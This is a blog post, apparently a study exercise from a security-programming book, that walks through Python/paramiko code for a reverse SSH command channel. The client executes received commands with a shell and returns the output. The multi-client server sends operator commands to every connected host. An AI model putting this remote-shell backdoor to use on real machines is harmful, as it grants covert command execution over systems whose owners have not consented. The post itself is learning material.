I finished this one up in Sydney airport this afternoon, though I think I went a little overboard while working on it. I gave a go of keying a dictionary with SSH channel objects and it seems to work, so I improved on my message reading loop from last time a little bit.
The Premise
This chapter presented us with a single server/single client to execute commands on a connecting client. I’ve changed that a little to be a more persistent connection to multiple clients, though you could probably just pump a shell script down the pipe and close the connection.
The issues
This one pretty much worked out of the box for me, I only really had to change the print statements and make sure our sockets were dealing with byte array types instead of strings.
The Implementation
SSH Client
First order of business was setting up our client to run the commands sent to it.
This is more or less the same as the one in the book, though it probably could
be improved by using the select
like in previous chapters
def ssh_command(ip, port, user, passwd):
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, port=port, username=user, passphrase=passwd, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
print(ssh_session.recv(1024).decode('utf-8'))
try:
while True:
command = ssh_session.recv(1024)
try:
cmd_input = command.decode('utf-8')
print('[<] Received input "{}"'.format(cmd_input))
cmd_output = subprocess.check_output(cmd_input, shell=True)
print('[>] Sending output "{}"'.format(cmd_output.decode('utf-8').strip()))
ssh_session.send(cmd_output)
except Exception as e:
ssh_session.send(str(e).encode())
except KeyboardInterrupt as e:
print("[!!] Caught keyboard interrupt, exiting")
client.close()
return
The initial call to recv()
is only really there to print a welcome message
when we connect, and we should probably change it to a get_banner
call instead
at some point (which, looking at various calls should be doable).
SSH Server
Ok, I admit, I went way overboard for this one. The original implementation waited for a connection, sent the connected client a single command, and then shut down. My implementation keeps the connection open so we can keep sending it more commands, and allows more than one client to stay connected. I think practically, I’d want to modify it to pump a script down the pipe and then disconnect. This will do for now though
class SshServer(paramiko.ServerInterface):
def __init__(self, username, password):
self.event = threading.Event()
self.username = username
self.password = password
def check_channel_request(self, kind, chanid):
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self, username, password):
if self.username == username and password == self.password:
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
def get_banner(self):
return 'Welcome to the super happy fun time jamboree!', 'en-US'
This is how we tell paramiko to deal with incoming connections. All the methods in this class (minus the constructor) override methods in the base interface and will be called over the course of each connection lifecycle
Next we have our server class, which I’ll break down method by method here
def __read_msgs(self, socks):
buffers = dict()
# Initialise the buffers
for sock in socks:
buffers[sock] = bytearray()
to_read = socks
while len(to_read) > 0:
# Loop over and build up our buffers
(to_read, _, _) = select.select(to_read, [], [], 0.001)
non_zero = []
for sock in to_read:
msg = sock.recv(1024)
if len(msg) == 0 or msg == b'\xff\xf4\xff\xfd\x06':
buffers[sock] = b''
continue
buffers[sock].extend(msg)
non_zero.append(sock)
to_read = non_zero
return buffers
All we do here is loop around, read off the connected sockets and build up our dictionary of received messages. I’ve improved on my message buffering from before, and have started using a dictionary keyed on the channels so I can build all the messages up in one go. Think this way works a little better, though I’d have to profile it to be sure. I think this is certainly more readable, though, at least for me
def __listen_loop(self):
try:
while not self.stop:
(reads, _, _) = select.select(self.sockets, [], [], 1)
if len(reads) == 0:
continue
buffs = self.__read_msgs(reads)
for k in buffs.keys():
v = buffs[k]
if len(v) == 0:
self.sockets.remove(k)
self.address_lookup.pop(k)
print('[*] Socket shutdown')
continue
print('[<] Received "{}" from {}'.format(v.decode('utf-8').strip(), self.address_lookup[k]))
except KeyboardInterrupt as e:
print('[!!] Caught a keyboard interrupt, shutting it down')
self.stop = True
finally:
for sock in self.sockets:
sock.close()
This method is just our main loop where we find out which sockets are ready to send us data and then hand them to the message buffering command. This will be on a background thread, and is responsible for closing client connections when we shut the server down.
def __accept_loop(self):
self.server_sock.listen(100)
while not self.stop:
try:
(client, addr) = self.server_sock.accept()
if self.stop:
continue
print("[<] Received connection from {}".format(addr))
# Elevate our socket to an SSH socket
ssh_session = paramiko.Transport(client)
ssh_session.add_server_key(self.key)
ssh_session.start_server(server=self.ssh_server)
chan = ssh_session.accept(30)
print("[+] Connection from {} elevated".format(addr))
chan.send(b'Welcome to cool_and_totally_not_sarcastic_hacker_ssh')
self.sockets.append(chan)
self.address_lookup[chan] = addr
except KeyboardInterrupt as e:
self.stop = True
print('[!!] Caught keyboard interrupt, shutting down')
except InterruptedError as e:
self.stop = True
print('[!!] Interupted, extiting')
except Exception as e:
print('[!!] Problem creating connection')
This is where the new stuff is happening. We accept incoming connections, negotiate SSH sessions and then add them to our list of client connections that we want to read data from and send commands to.
Paramiko wraps the guts of this operation pretty well, so we don’t have to do anything special aside from providing our implementation of the server interface above and giving it a private key to use.
def __input_loop(self):
try:
while not self.stop:
cmd = input("Enter command: ")
if cmd == 'exit':
break
for s in self.sockets:
s.send(cmd.encode())
except KeyboardInterrupt as e:
print('')
print("[!!] Caught keyboard interrupt, exiting")
self.stop = True
# Force the listen loop to quit
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM).connect((self.ip, self.port))
self.accept_thread.join()
self.reader_thread.join()
Here, we take commands from the user using input()
and send it to the connected
clients. Also of note here is how I got the __accept_loop
method to quit
gracefully, where we set the stop
variable to true and open a connection.
There’s logic in the accept connections loop that checks the flag after a
client connects and shuts it down if the server is stopping, meaning that we
pull it out of the blocked state without needing to fiddle with interrupts.
def run(self):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((self.ip, self.port))
self.server_sock = sock
self.accept_thread.start()
self.reader_thread.start()
self.__input_loop()
Pulling it all together, we have the run
method, which starts our
socket listening, spawns all our worker threads, and then runs our
main command input loop.
if __name__ == '__main__':
args = parse_args(sys.argv[1:])
if args.keyfile:
key = paramiko.RSAKey.from_private_key_file(args.keyfile)
else:
key = paramiko.RSAKey.generate(args.keylength)
ssh_server = SshServer(args.username, args.password)
server = Server(args.host, args.port, ssh_server, key)
server.run()
Tying it all together, all we’re doing here is constructing our SSH server object and generating or opening the necessary keys for paramiko to use. Nothing too tricky, but it means we have a nice isolated example of how to use those calls to deal with RSA keys in the library.
Final Thoughts
This library has a lot of potential, is incredibly simple to use and suits our purposes really well. Not a lot of wiring up to do, just a vague understanding of how SSH works.
The next section is an SSH proxy, but it looks to be much the same as the TCP proxy with SSH connections instead of the raw TCP connections. I might just skip over it and onto the next chapter to save some time.